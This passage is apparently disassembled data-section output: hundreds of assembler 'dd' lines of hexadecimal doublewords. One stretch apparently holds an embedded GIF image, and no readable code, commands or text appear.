dd 0AF4AFF85h, 0FBB438B3h, 0F8DB45F5h, 54F91A5Bh, 9F93D04Dh
dd 0D5401DD7h, 2ABAEEDFh, 9F11A23Bh, 0C0AFA891h, 48F12DB1h
dd 3E05FA6Fh, 0F4CFABCCh, 84D84FACh, 0F22BE1Dh, 0F85FB1F8h
dd 21F29F28h, 746A0230h, 0FB9EFF2Ch, 9CF60F8Bh, 2A5BED20h
dd 0F67E4EEDh, 3BD2AE1Dh, 7B54972Fh, 189A4E5h, 0D1918399h
dd 5E5DBD9Fh, 0F7DF76EEh, 0F1FE8F78h, 40FFBB4Dh, 162E10A0h
dd 8882A342h, 4D090A4Ch, 2D008067h, 0EB020B4Ch, 14306AF5h
dd 26D5DB4h, 276AF60Ch, 64C8D1A4h, 6DC2410Ah, 910C1BF7h
dd 0FB7527CFh, 0EFD79F05h, 7BC18F3h, 90030310h, 10F05090h
dd 839123B0h, 43D191B1h, 926243D1h, 0E21292B2h, 0E4E20848h
dd 89C15302h, 0C2735320h, 0C244E3E3h, 0A93329A8h, 29F3F448h
dd 0D54A1620h, 96C968F5h, 560996F5h, 0D7EB0A96h, 6040CB6Ah
dd 2C6C2BD8h, 84CD2421h, 0F9EE02E4h, 0AECE8E79h, 0EF7ACF8Eh
dd 50B0C2F0h, 107150DBh, 5191D172h, 0C27063B1h, 0F3C25D32h
dd 13C384E8h, 82745434h, 0E324E4E3h, 0A916D688h, 0B6765E36h
dd 4422AAD6h, 0D254115Ah, 7FA8152Ah, 0A16180BEh, 97D88C32h
dd 90205D63h, 0C6B348h, 0A46E8D34h, 0E776A1C9h, 826EC85Ah
dd 740C950Ah, 72CA43A8h, 9385C8E3h, 2892CEA4h, 0EC261F0Eh
dd 9E8AE272h, 150AFEBDh, 4233C9F2h, 85266110h, 0AC066EFFh
dd 0CF681415h, 3162FF26h, 4A6C186Ch, 93132E96h, 6C667331h
dd 1F8ED663h, 73D48A41h, 42C99C08h, 84AA5083h, 598392C4h
dd 4E60E80Fh, 43047392h, 40AF9A88h, 0EF509289h, 99E4EC4h
dd 0BA52EA05h, 0A3515654h
dd 41486FCh, 0C2E8741Ah, 44AF4F2Ah, 0A32C660Dh, 0E4230801h
dd 159A998Eh, 5C08475Ah, 7AFD79ABh, 93588FC1h, 46965524h
dd 5B6D96ABh, 70244654h, 532F1782h, 0F419BC06h, 0F7E514F6h
dd 46BAD32Fh, 9C3AE693h, 0C62F5790h, 3548B8BFh, 24361B6h
dd 622558CBh, 0F399A30Eh, 115FCF04h, 0A83B1E89h, 29D3CAB4h
dd 64A6A901h, 0B9871924h, 0C05304F1h, 6DA777ABh, 0C712FD81h
dd 70F01DDAh, 0A1C0837Ch, 0F8B00D30h, 0E000017h, 0A9B178Bh
dd 20E5AAE1h, 38B9CE6Bh, 0BA6E89A4h, 4B0AC03Eh, 4BB305ACh
dd 0BAD29C69h, 5356EF3h, 129A03Eh, 1360BAFEh, 3E13AEE2h
dd 0BDBD0090h, 282DB976h, 0C59B82A1h, 3AFAC227h, 6C03BE48h
dd 0FC3ECF72h, 3F8FD0B0h, 4E5232E3h, 2B2D0139h, 38AD8DF0h
dd 58F104Bh, 0AC0D1C19h, 848BB707h, 0E02ED5C2h, 730DB804h
dd 0F41270FAh, 294C1BD4h, 6A3A00FBh, 1292BEA0h, 16F680E2h
dd 5F21AFCAh, 4720298Ch, 0F1E4051Dh, 9C7F03B9h, 0AA920FCEh
dd 72C8AEB3h, 0BB84734Ch, 0A4C35509h, 0DA6C77B5h, 2A0E43B0h
dd 2A1F2DA9h, 3ECC0145h, 4C1A7E7Dh, 0B45F2E3Eh, 0F4014652h
dd 0C6BF6FDBh, 0B22888B2h, 0E01D2831h, 0E3A1344Ch, 403F412Ah
dd 93BACB03h, 3B507904h, 10A4EB3Ah, 23C70F13h, 0EA081E4Fh
dd 108140C1h, 44B29BD3h, 4C0C4E57h, 1D6AC31Fh, 5C8430A2h
dd 0A6CAC57Ch, 9811A464h, 62FBFCC5h, 0CD306239h, 6E368C54h
dd 8FD36384h, 0CDB20C80h, 70724B21h, 7CEA964Eh, 4E0DCEE9h
dd 561300C0h, 17125D5Bh, 2B58D6h, 78BE5011h, 0F756EC1Dh
dd 0D0E25572h, 376B70F5h, 2096h, 3Bh, 0
dd 38464947h, 2B36139h, 48C601DBh, 0DED9C100h, 0C3DFDAC2h
dd 0DCC4E0DBh, 0E2DDC5E1h, 0C7E3DFC6h, 0E1C8E4E0h, 0E6DFCFE6h
dd 0D0E7E2C9h, 0E2CDE7E0h, 0E8E3CAE1h, 0CEE8E1D1h, 0E2D2E2E3h
dd 0E9E4CCE9h, 0CDE3E4CFh, 0E5D0EAE5h, 0EAE4D3E4h, 0D7EBE6CEh
dd 0E6D1E5E4h, 0EBE5D4E5h, 0D2ECE7CFh, 0E6D5E6E7h, 0E6E6D8ECh
dd 0D3E7E8D3h, 0E7D6F4E7h, 0EDE9D0EDh, 0D4E8E9D4h, 0E8D7F5E8h
dd 0EFEAD1EFh, 0D9F0EBD2h, 0EBD5F0E9h, 0EAE9DCEAh, 0DAF1ECD3h
dd 0EADDF1EAh, 0F2EBDBEBh, 0DCECEBDEh, 0ECDFF3ECh, 0EEEDE0EDh
dd 0DEF4EEDDh, 0F0DFF5EFh, 0F0F0E2F6h, 0E3F8F1E0h, 0F2E1F1F1h
dd 0F3F2E5F9h, 0E6FAF3E3h, 0F2EDF4F3h, 0F5F4E7F5h, 0EEFBF3EAh
dd 0F5E8F6F3h, 0F8F6F0F6h, 0F3F9F7F2h, 0F9F4FBF8h, 0FDFAF5FCh
dd 0F7FEFBF6h, 0FEF8FFFDh, 2Ah dup(0FFFFFFFFh), 4F921FFh
dd 7F000A01h, 2C00h, 2B30000h, 70001DBh, 822C80FEh, 86858483h
dd 2C2E2E82h, 898A8B8Ah, 92918F8Eh, 96959493h, 9A999897h
dd 9E9D9C9Bh, 0A2A1A09Fh, 8898A4A3h, 878C838Eh, 0AEADACABh
dd 0B2B1B0AFh, 89B0AAB2h, 0A8868FABh, 0B3BBBC88h, 2AADC0BFh
dd 2CC3C4C3h, 0C5C8C72Ah, 0CECDCCCBh, 0C3D1D0CFh, 0D4D5D426h
dd 0D9D9D62Ah, 0DEDDDC1Fh, 1B1BDDDFh, 0E6E5E21Fh, 0C1C8CAE2h
dd 0EEA584EBh, 0F2F1F0EFh, 0BC8BA79Ch, 0B7ACB7ADh, 0F58DF9F3h
dd 35FCF6EDh, 16AFE48Ah, 610883BBh, 0B0C84BA9h, 856143A1h
dd 0B64B1616h, 8BB4A28Ch, 0AC5E3318h, 361A6D86h, 8A42DA8Eh
dd 4C1F6ACh, 0C8E36E38h, 0E295389h, 18974B43h, 199CCA62h
dd 4D2E6113h, 0DCE9F903h, 0CFA7B3C9h, 766F409Fh, 0A8B4487Ah
dd 9348A3D1h, 0B4CA5C6Ah, 5091B369h, 1A9C9E49h, 73B9DC2Eh
dd 0CA6552B9h, 0D7ABB419h, 8AC360AFh, 0A0CED9DDh, 210154C0h
dd 0B39AE4E1h, 0FE7DD660h, 95712769h, 58EE8A74h, 0E2F10CB3h
dd 0D0749BD3h, 597F55C2h, 0CCF74C4Dh, 1FC332C4h, 0D93496A1h
dd 0AA55318Dh, 9E4AEEE6h, 0E5B2B94Ch, 6B3398CBh, 73B7DAEEh
dd 3B4E8B44h, 0AD46E35Ah, 53C7E2E4h, 0CD5EAB37h, 0D7EBB5BAh
dd 9D8F63B0h, 0E033D6ABh, 0A31DA568h, 6C1B2AA6h, 13BF170Ch
dd 3C349705h, 0C5E1F052h, 0CE5F2B7Bh, 0C9F3B9BCh, 0E3DAD105h
dd 0C518D44Bh, 930CD36Bh, 0B9FA9D2Ch, 85C94A70h, 9C718EFFh
dd 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh, 678BDBF0h, 7D7D1F3Fh
dd 9FE2EEF3h, 537E44E7h, 79FF4C78h, 480E027h, 765455D2h
dd 0D4545D9h, 0A7F5F850h, 461083DFh, 1484E128h, 84A16856h
dd 0DC07D9F7h, 0E8761C85h, 0F561815Eh, 124DBE7h, 51940882h
dd 0D838A4C6h, 360D935h, 6DC6895Eh, 32721FB8h, 8DE3687Ah
dd 0E3A8E638h, 8F63C8Eh, 7DF98861h, 448FA337h, 57A26876h
dd 42FE1DB6h, 36453158h, 5093E4E9h, 94E52946h, 0E5695654h
dd 0A9665895h, 765C96E5h, 6097E5E9h, 98E62986h, 0E6699664h
dd 0A9A66899h, 0B66C9AE6h, 709BE6E9h, 9CE729C6h, 0E769D674h
dd 0A9E6789Dh, 0F67C9EE7h, 809FE7E9h, 925599AEh, 0E86A1684h
dd 0AA2688A1h, 368CA2E8h, 90A3E8EAh, 8FC8E43Eh, 0DBB770C7h
dd 0AA6698A5h, 769CA6E9h, 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h
dd 0AAA6A8A9h, 0B6ACAAEAh, 0A4ABEAEAh, 7E88B356h, 0D560A82Eh
dd 0AAE6B855h, 0F6BCAEEBh, 0C0AFEBEAh, 0B0EC2B06h, 0EC6B16C4h
dd 0AB26C8B1h, 36CCB2ECh, 0D0B3ECEBh, 0B4ED2B46h, 6BFB56D4h
dd 48D42A37h, 1C1F0B1Fh, 46118471h, 0B8EE2114h, 0EE6B96E4h
dd 0ABA6E8B9h, 0B6ECBAEEh, 0F0BBEEEBh, 0BCEF2BC6h, 0EF6BD6F4h
dd 0ABE6F8BDh, 0F6FCBEEFh, 0BFEFEBh, 0C0F02C07h, 0EDEB8303h
dd 687EB307h, 1044B7EBh, 10C3C431h, 0C4F12C47h, 6C57FE14h
dd 6718C5F1h, 1CC6F1ACh, 0C7F1EC77h, 0F22C8720h, 6C9724C8h
dd 0A728C9F2h, 2CCAF2ACh, 0CBF2ECB7h, 0B0DCC330h, 907C4711h
dd 982E7BEDh, 42C38464h, 0CFF3ECF4h, 0F42D0740h, 6D1744D0h
dd 2748D1F4h, 4CD2F4ADh, 0D3F4ED37h, 0F52D4750h, 6D5754D4h
dd 6758D5F5h, 5CD6F5ADh, 0D7F5ED77h, 84410C42h, 0AB692511h
dd 6C260B1Eh, 4110B3B0h, 0DBF6EDB4h, 0F72DC770h, 6DD774DCh
dd 0E778DDF7h, 7CDEF7ADh, 0DFF7EDF7h, 0F82E0780h, 6E1784E0h
dd 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h, 0F6310841h, 0F0B02606h
dd 141BB71Eh, 40DB0431h, 0E7F9EE74h, 0FA2E87A0h, 6E97A4E8h
dd 0A7A8E9FAh, 0ACEAFAAEh, 0EBFAEEB7h, 0FB2EC7B0h, 6ED7B4ECh
dd 0E7B8EDFBh, 0BCEEFBAEh, 0EFBBEEF7h, 0C4510F91h, 87BB9638h
dd 0FF9CE6B9h, 0CCF2FCAEh, 0F3FCEF37h, 0FD2F47D0h, 6F57D4F4h
dd 7AEF5FDh, 97C23C3Fh, 107C8393h, 2F87D8FEh, 97E4F8FEh
dd 0E8F9FE6Fh, 0F5BEAFA7h, 7DDF13DAh, 0BF839BE6h, 0D7F4FCFEh
dd 0F8FDFF6Fh, 0FEBFAFE7h, 0BC6F73EDh, 9FDBF1F7h, 0C0480700h
dd 80F01A02h, 0FF5FCC08h, 0E39ED78Ah, 10813005h, 2704A08Ch
dd 5A0AC148h, 7C0B73F0h, 0C82EF7DFh, 0F07A0EC1h, 210C2083h
dd 3DB6C2F0h, 81C7B206h, 0AA113C9h, 16C2C857h, 198290BAh
dd 52FC1FFCh, 0DA1AC2F8h, 0CC3886F0h, 0D862F521h, 50D20040h
dd 0A20C4087h, 0C4488710h, 84F0F1D2h, 115F943Eh, 26C4C897h
dd 4784313Ah, 950A0F5Ch, 5A2AC4F8h, 0BC588AF1h, 96CF145Fh
dd 0F17A2CC4h, 0A30C608Bh, 9E98B6F4h, 8CF18A29h, 1AA34C68h
dd 0F446475Fh, 708D7198h, 0D31CA38Ch, 0BCF3C6D8h, 0CC788E71h
dd 58971EA3h, 71DCF347h, 0A40C808Fh, 47D85720h, 9071FCF2h
dd 22A44C88h, 18C85813h, 9091721Ch, 0D724A48Ch, 4E47C8D7h
dd 0CC9892F2h, 0FE4918E4h, 6E193EE8h, 0CA09350h, 577B28A5h
dd 0F28E2EC9h, 654CA894h, 43394AEBh, 95F2AA2Ah, 2B2584B0h
dd 5ACB193Fh, 0B39452DAh, 772DE07Ch, 0E648CBC9h, 0CBD87F2h
dd 0F8F330A6h, 0F30E574Bh, 6344C898h, 0CCC99331h, 99718266h
dd 34A68CCEh, 69CD089Bh, 399AF35Ah, 0B73626ACh, 6A154DC9h
dd 0CE09BB3h, 29BF0567h, 0B39A72CEh, 0A73CE480h, 0BF59D73Ah
dd 9DF3B274h, 3B9F24F0h, 7ACF49E3h, 9D78526Eh, 0ED2B61ECh
dd 467ECFC9h, 0CFE9E6Fh, 76B40A8h, 0F41A81D0h, 282BABA0h
dd 0D0CA1742h, 0A1B429D0h, 43E85D10h, 81514A23h, 18A2B44Eh
dd 3345E7B5h, 6E77D1CAh, 3520A3B4h, 4A4347E7h, 0B48E6ED2h
dd 0E6B528A4h, 0D2CA5349h, 0A5B4AE66h, 4BE61D30h, 5DD34A63h
dd 38A6B4CEh, 0FD272595h, 0E65A4FA7h, 0DD2EA7F4h, 68A509A9h
dd 151AA04Ah, 0AA3D3799h, 0D4992F52h, 91753AA5h, 54AA7D4Dh
dd 0D5FE1905h, 98955AA9h, 2EA0D542h, 5055CAAFh, 60ABB556h
dd 3D566655h, 9AB0D5B9h, 0ED63AA15h, 0CACF5969h, 15A6AA56h
dd 0AB6CFB89h, 4F8ADD5Ch, 0A7D5C29Eh, 1CEBCD73h, 0BED7AABFh
dd 7EAF9106h, 10DEC0Dh, 0B6C2D82Bh, 4D86B090h, 4ADF142Ch
dd 0F62AB8D4h, 2C4455B1h, 430B2764h, 0B1D172C6h, 10ACCD94h
dd 0CED9AB25h, 65B2D3A2h, 4767AA2Ch, 92CE435Bh, 33F6B4F6h
dd 0AB576A2Dh, 0F6B2D53Eh, 2D73E5B5h, 3D8B676Ch, 0B6F6D2D9h
dd 6E2DB3D3h, 0DD3CEB77h, 0BFB7F6F2h, 87702DF3h, 12E13BABh
dd 504B8F7h, 8B451BADh, 0CFA6E6DCh, 2E8DCEB8h, 0DD2BA0EBh
dd 0BA8E9EEAh, 0E8AECDD6h, 0EEDDABB0h, 0DEBB8E76h, 0C3782ED5h
dd 92F1DD6Bh, 3DE6BA57h, 0ABD373AFh, 0B7B2E45Eh, 2F7DC4BDh
dd 0DF2B817Ch, 0BEB6F2F9h, 7E2DC5F6h, 0FDDB4BF3h, 0FEB617F2h
dd 36B2FFDh, 12D4602Ch, 3DA4C0B8h, 0AB3D8230h, 6B05FEE0h
dd 0A60EC1B6h, 0C23842Ch
dd 585309D9h, 0B0BE16B1h, 61AC3361h, 0C3B872C1h, 8830FD7Eh
dd 11E22AF5h, 26C4B5CFh, 538A2B6Eh, 0B315D67Ch, 7E2EAC38h
dd 2C635771h, 0B8D2ABE3h, 31BD53C6h, 0E3AA9F8Eh, 0C7B52F1Dh
dd 902A3E3Eh, 21D40C83h, 46A73913h, 934D723Eh, 3298E4ACh
dd 7D2DC9B9h, 2A539432h, 0B49729E5h, 290E56CAh, 0D1DCB396h
dd 0A339732Dh, 4572FE5Eh, 88E62CC3h, 0DCCB992h, 259A333Dh
dd 323B5CAAh, 55D1CD77h, 2A0D9C33h, 0B45B39E7h, 0B37C7ECDh
dd 0E75B8F9Dh, 0CFB3F73Dh, 9E28D67Eh, 40E7A90Dh, 86D016FFh
dd 13A2278Eh, 3B41D1EDh, 0BE8CD0B2h, 0AD23A2EDh, 5A5349CEh
dd 0E4B68EA4h, 0E96B67A5h, 0D3B3874Dh, 0A669369Eh, 36A1D21h
dd 0A5B31A8Fh, 0F1A9F006h, 0AF01EA9Ah, 36ADAD7Ah, 7A875D75h
dd 0FAC75659h, 0B5BEA0B4h, 6BAD7334h, 0D7BAF267h, 0B035FCCCh
dd 606AFA91h, 0C1FB0EFEh, 0B1E636C5h, 65EC2B33h, 0CED9B307h
dd 0A3B425E6h, 5369CB7Dh, 0BED696BBh, 0AD674EB6h, 7B6B6355h
dd 0B6FEC9C3h, 0EE2DC384h, 0DCBB930Ah, 0BA373E18h, 0B26DCDC1h
dd 24DD7B7Ah, 3BC3756h, 7B79ED9Bh, 8EF6DE55h, 0FAD5BB77h
dd 0B5B37CEEh, 2A66FEDEh, 0E2AE03BEh, 0C5BC1381h, 8C383F06h
dd 19F0AE13h, 36E1BC33h, 73C4387Eh, 0F389F12Ch, 0FF16E2B8h
dd 2E33C631h, 0BC738DE4h, 38FF1EC8h, 0F22E4392h, 0E4BC9325h
dd 0CA393E4Eh, 95F2ACA3h, 2EE5B953h, 63CC32BFh, 0D399E5AEh
dd 0BF36CBBCh, 0AE739839h, 0BCF331F3h, 0EE5666E7h, 6A8CF20Ch
dd 0DF7C8FA0h, 0F8199E7h, 0A36B6E88h, 398B74D3h, 9D2C1F0h
dd 3FA7745Dh, 0E039B19Dh, 0FEA60FC1h, 1D5BAAE8h, 41CC47A6h
dd 8390700Eh, 0D61D301Fh, 0BB79675Fh, 19F64065h, 3A0720CCh
dd 0D3BF7B38h, 0B776F32Eh, 9832065Dh, 0DEA9DC41h, 0FEA3BA74h
dd 1F628334h, 9EF20C7Ah, 0DB2BB903h, 0A9DF7FEFh, 832EC80Bh
dd 0F0DDBCE3h, 3E3ABF88h, 1983404Dh, 3111FE34h, 0D1DF3C78h
dd 0B9AF91Eh, 0C03003EFh, 0BF32717Bh, 0BDF7AEF7h, 0DE1738F3h
dd 8925660Ah, 0F200F3BCh, 0F6A967A8h, 0C195C1A8h, 0B1F61D97h
dd 6DE7FC4Fh, 8BCC9396h, 27B9F71Dh, 5030F6A9h, 0BED88192h
dd 3E0FC0F0h, 0B94F8748h, 0F087016Ch, 0F2BE4F8Dh, 0A3DAA39h
dd 0A411AE50h, 0A7F4BC17h, 5FEAD18Fh, 5FBFF9FFh, 1FB9D7AEh
dd 0BF59E174h, 7BD78372h, 7E3CDDF4h, 8499A7F2h, 0F40177E7h
dd 0F779CD6Bh, 2AFBD433h, 0B40E3CC8h, 0DBD3FE2Fh, 87D5A11Fh
dd 7E103230h, 0FF7737F4h, 44246747h, 76F02E7Ch, 0ED5A17EBh
dd 28088077h, 317C43Ch, 0E80D039h, 78107FE8h, 77979367h
dd 197876EEh, 80458118h, 6DD03430h, 1A81F81Eh, 90260458h
dd 7F581721h, 0DA4FE826h, 0D8240C63h, 27FEEF82h, 6B41263Ch
dd 3280682Bh, 97004F58h, 73F5A583h, 3B4D883Ch, 0E58783F8h
dd 4D384283h, 0DE845841h, 0E8488444h, 84B84A6Bh, 4E84D6C1h
dd 0D7486C48h, 85181858h, 5853698h, 78568258h, 85B8474Eh
dd 5E85D41Ch, 18604168h, 85859586h, 6485A837h, 98634E08h
dd 86B41186h, 5048C86Ch, 16D886F8h, 6DB87287h, 75831425h
dd 987485C8h, 86E4A987h, 7E40387Ch, 13FB87F8h, 40A88288h
dd 0A188587Bh, 98888844h, 88B8875Ah, 8E88A499h, 18903F38h
dd 88D5AD89h, 93492894h, 93E78978h, 5B189A89h, 8A89D896h
dd 28A089C4h, 8A38A23Eh, 0A689F5B5h, 0D8775748h, 5418A981h
dd 2C7FD866h, 54B68AD8h, 5B98B28Ah, 588B58A8h, 57EC8AF5h
dd 4AA8B885h, 0CF8BD8B4h, 0D8C08BF3h, 8C38C23Ch, 0C68C53CBh
dd 98B75C18h, 8C846A8Ch, 0CE3BC8CCh, 0B5C58CF8h, 4628D28Ch
dd 0B78D58D1h, 98D88D73h, 0B8BAFE5Ch, 4B88DB7Dh, 598DF8D4h
dd 18E28DA4h, 8E58E43Bh, 0E88E146Ch, 0B8EA5918h, 8E744E8Eh
dd 0ED5098EEh, 347C8F18h, 4448F48Fh, 0D78F78F0h, 0F8FA8F65h
dd 8FD8FC57h, 8F943Ah, 39023A39h, 8FF50E90h, 5436906h
dd 0B39E9099h, 4090C90h, 1190C90Eh, 69139099h, 90391590h
dd 19900917h, 0A91B8FD9h, 8F791D8Fh, 958F491Fh, 0F8BC1864h
dd 48D47290h, 25339032h, 0D4709269h, 3376F47h, 2B02802Fh
dd 0D8CD92C9h, 3B03D66h, 0B6032038h, 29349332h, 398BA56h
dd 182DC796h, 693D93C0h, 79766D8Dh, 4400F369h, 0D4CF9459h
dd 2B608966h, 0B194A018h, 0A93594C8h, 1F0C48Bh, 5494B951h
dd 366D8E39h, 9529580Dh, 6795B838h, 0E95E4754h, 96295A12h
dd 0D8964456h, 89670DD0h, 96A44F96h, 539430D7h, 694D96E9h
dd 2E0C395h, 6D01401Fh, 0A44C9749h, 2C03296h, 6896001Bh
dd 445F97C8h, 678D96FEh, 0D01802h, 0F898497Bh, 997F9478h
dd 98B00A97h, 4759B98Ch, 29902B59h, 44099399h, 1936847Dh
dd 39910140h, 8EC99997h, 0E43688BAh, 199F0120h, 96F9A196h
dd 1B12695Dh, 99989A60h, 66D5839Ah, 0A79AD18Ch, 0F9B09839h
dd 0E166D8Eh, 0B79A09AEh, 0A8BA8F59h, 9BD9B59Bh, 289BF946h
dd 29A89BB1h, 9C498D9Ch, 0C89C19A5h, 59B99859h, 9CD9CC9Ch
dd 0B49CA95Ch, 99D29AF9h, 9C69D484h, 0FE9D79B6h, 0C9D19D98h
dd 8AB9A29Dh, 220221EAh, 0E01B01E0h, 9E09D699h, 0DC47541Fh
dd 0C98A0141h, 9B19EA9Bh, 59126976h, 0D9F19F09h, 8F8BA83h
dd 0F79E9950h, 24754179h, 9829F408h, 0BA9B89FDh, 79EF9ED8h
dd 42EA039Ch, 0EE18C9ECh, 3A099FC9h, 0DCA0B41h, 0F9F6A0Dh
dd 99E29D8Ah, 0A0EA061Eh, 11410A15h, 0BA07979Ah, 484A1B9Dh
dd 1FA0C9B2h, 0D443A21Ah, 0A08A13A1h, 28420A26h, 0FE2BA25Ah
dd 2A2399AAh, 0A2FA2EA1h, 1EA314D9h, 0A34A1AAh, 0A29A3688h
dd 1DA39A20h, 0EA38A2D4h, 0A3B3FCA3h, 2FA42A33h, 6A14A404h
dd 0A23A10A4h, 4AA41A01h, 0BA0588CAh, 97201B96h, 12A4FA2Ah
dd 60829644h, 0A4E01F2Bh, 4E892A56h, 0C9961C09h, 895A5DA5h
dd 337798BAh, 997A9780h, 407A63A4h, 0D8743475h, 0BA629E70h
dd 66D89BA6h, 69369A59h, 6A72A55Ah, 2959FF40h, 79A6AA70h
dd 0C9A3A3AAh, 0A3DA77A7h, 3BA7AA7Fh, 23673375h, 0A85A71A8h
dd 66A878A4h, 0EA8A4863h, 886A8CA7h, 65A88575h, 3A78A914h
dd 0A95A43A9h, 9848EA8Fh, 3A9AA84Ah, 452A8E88h, 0A0A54A7Ch
dd 5A94AA1Ah, 0A967C404h, 0A4A0046Eh, 9A6CAA86h, 0A9D33680h
dd 8BA5A0F6h, 28B6AB0Ah, 1EBAB381h, 0B70D40B9h, 24FFAB8Ah
dd 476AACABh, 2A02D08Fh, 1AC0ABF0h, 836AC28Ch, 2F7781E3h
dd 9A92A5B0h, 0ACB5CFACh, 322DAA60h, 33FE0360h, 2AD2AAF0h
dd 0C8ABAAAh, 36033095h, 0F2B60360h, 0A9BADB80h, 957BCAAAh
dd 60360390h, 0AE5AE499h, 0E87C33F8h, 0F036094Ah, 0AC8AE31Bh
dd 0DD8CAAEEh, 0C21B1B4Ah, 0AF7AF6AEh, 95AB24A4h, 51FD0953h
dd 0AFEAD1AFh, 0C57E6A8Dh, 0AAF4B027h, 3F4B06ADh, 2FB01801h
dd 0DB05AFC2h, 7DE3D7B0h, 31B4395h, 4B14B0CBh, 7E7045A6h
dd 0B798165h, 3B1BAEDBh, 7D77E6ADh, 12B20175h, 7B23A99Bh
dd 0B17B258Ah, 0FBA60B1Fh, 7B2BB139h, 7CDB1D4Fh, 31092100h
dd 5B33B2ABh, 181B163Dh, 0A7B39B27h, 43ECB3BAh, 0B3600F42h
dd 400B7087h, 4AEFB42Bh, 0B8AABB4h, 4AB4908Ah, 0F045A50Bh
dd 0B47B4D00h, 0FD958B4Fh, 0A3B0B51Ah, 7C5B543Dh, 580C7B56h
dd 7B5AB32Bh, 125B4C8Ch, 601651D6h, 0EB63AA6Bh, 188B65B0h
dd 61B48181h, 4B6BB3ABh, 0D4248Ch, 7FB6E7C4h, 3B6AB701h
dd 0DB1CB7h, 13B66014h, 500FFE51h, 0A3E8B7CBh, 0DCB7E3Dh
dd 71B820CCh, 0CB84B41Bh
dd 0B7FB863Ch, 2902A020h, 9B7A1150h, 3A8B8DB5h, 7F0103DAh
dd 3B9301FBh, 0B70C5B9h, 97B969F4h, 0BB993A6Bh, 0B9E0D4B9h
dd 0A10F60C4h, 8BA3B62Bh, 0A3DA3Bh, 20019014h, 8029BA70h
dd 126083BAh, 0ADBA201Ch, 6424904Bh, 0BB201200h, 0A9BB50D5h
dd 0CBB9AAEBh, 8DCBBBBAh, 1BBBE045h, 3BCC0200h, 0B9E026BBh
dd 0C501FA75h, 9BC7B72Bh, 0BBE3DA3Bh, 0CEBCD015h, 5029BB5Bh
dd 0BD301BA7h, 0D3BD5B8Ch, 20083C28h, 0BDABD901h, 0DEBDC020h
dd 1BE2BE0Bh, 83DA3Eh, 0E8BE7010h, 0ABEBBB5Bh, 5DFBEDBBh
dd 0E8BF1BBDh, 5BDEBDABh, 0BF7BF601h, 18010BD7h, 9BCDBFB0h
dd 0A830E4A5h, 0F9B15BF7h, 0C04C03Bh, 0A7DC0602h, 0B3C09BD4h
dd 2015C013h, 0C0FC04BBh, 3BC12C08h, 0DC15BF94h, 0BFFC18C0h
dd 16C14BEDh, 6C1FBFBCh, 5D3C1ABCh, 1EBBFBF9h, 10B60CFEh
dd 2C27BE1Ch, 6BD73Bh, 21BE8BFAh, 9C2CB910h, 3D0C2FC1h
dd 320053DAh, 1BCDC23Ch, 0C802102h, 38BD2029h, 45BDC39Ch
dd 0C33C3C42h, 35C35BCCh, 290C3Ch, 1201C02h, 3BBE2C20h
dd 0BF2C32Ch, 0BCCC3502h, 52C500D3h, 0BC46C26Ch, 43C28Fh
dd 40BDAC56h, 995EC40Ch, 0C11C5D01h, 618F2C5Fh, 5C3EC56Ch
dd 0C69C67C6h, 28C6BC2Eh, 9BF1C6DCh, 0C70C2301h, 68126029h
dd 5BD5C53Ch, 0BBF010C5h, 6501DC16h, 0F020BB5Ch, 0C5EC7D01h
dd 76BBCC74h, 1ABBFCh, 0C9101D02h, 26BB5C91h, 0AC890200h
dd 0C60C8BC6h, 81C62045h, 901A015Ch, 0C8601DC7h, 72018020h
dd 2B64C99Ch, 0C320033Ch, 20C78BE6h, 2C9201A0h, 0A0201CCAh
dd 45AF8CA6h, 9BD8CA90h, 0C90C9F01h, 0B001A01Dh, 7C7E010Ch
dd 0CB63DABCh, 0B8C15BE6h, 0FCBCC90Ch, 15020C4h, 0B3C8ACBEh
dd 242490DCh, 0CC5CC4CCh, 0FEC8F01Ah, 0BFCCACC8h, 6CC1BBBCh
dd 0CC4C5600h, 0E9CBBCD3h, 0CCD6BCCBh, 910CCDCCh, 0F1CDACCFh
dd 4CD3CD1Bh, 0CCBCE0CDh, 7CE3C98h, 5C49CA89h, 0CD3CE801h
dd 13020CDFh, 0EC73CEC0h, 45C8CCEh, 0ABC49002h, 0DCE9C78Ch
dd 0CF701DBCh, 0DABADCD7h, 2CAACFD3h, 0D01C9ECFh, 0F8D03BCCh
dd 73BBCFACh, 0CF2CFED0h, 8FCE9017h, 0E013D0DCh, 0BA3D0500h
dd 17CAAD12h, 6D0CD140h, 0D1BD19C9h, 81D1DB97h, 7015D1FCh
dd 0D17CB801h, 10D0FD22h, 2424BD6Dh, 12C9C00h, 19D14013h
dd 0D0170170h, 0D2EC68BCh, 318D9D2Fh, 0F012D33Dh, 1AD38D1h
dd 3BC59017h, 7B8DD24Dh, 0D42D40D0h, 58D39D15h, 0DCE2D47Ch
dd 0CAAD4ACCh, 38D29D41h, 21D4EDh, 0D3DCEDD5h, 9C0013DAh
dd 7D41C81Ch, 0C40D45D5h, 3DCF9D5Ah, 0E3C2CCEDh, 0D60C32D5h
dd 65D62013h, 0C01201ACh, 3B4D67D3h, 12D40D5Dh, 8D38D610h
dd 1A021C5h, 0D1FEA011h, 75CB3D51h, 0DD77D6BDh, 0D7AD57D6h
dd 5BD7ED7Ch, 0AD81D2FDh, 0D84013CAh, 87C35D79h, 1B84D48Dh
dd 0D95010D8h, 0CDD62D8Dh, 2D7D015Bh, 0D94B7CD9h, 97011D95h
dd 0BCE0D79Dh, 0CA6D7FD9h, 11010D8Bh, 9DA1DA00h, 0D88D9AC5h
dd 0DAD73D66h, 8CB60003h, 0D34011DAh, 0A4DACD57h, 0DD10D89Dh
dd 0DA8DB3D5h, 13D6DD34h, 0FDB9D990h, 0DBCD67DAh, 8DDB4CE6h
dd 7D0DD8DDh, 601101h, 0C6B73D9Ch, 9DA8D6BDh, 0C90DC1DCh
dd 0A5DCEDCCh, 3DB1C99Dh, 11C3C00h, 0B8DD4DBEh, 0BDCF00BDh
dd 0C3CDBCB6h, 0E0D9F00Eh, 2DCCBCCDh, 0C8BDD9DEh, 0E8C49DDBh
dd 0DC35DC9Dh, 0DE3DEB01h, 0D2DE5B63h, 0D8DDAADh, 11DF4C4h
dd 0FADBADECh, 3D95DD1Ch, 21DF2DDh, 0C4DFFDFDh, 1424D5CDh
dd 0DF9DDC00h, 0F5E06DE0h, 8C74DEDDh, 0DA0E03DFh, 11DFCE16h
dd 2CEEE00Eh, 0DA9DE8E0h, 37C35011h, 0ADF6DFEDh, 0E1EE1CB5h
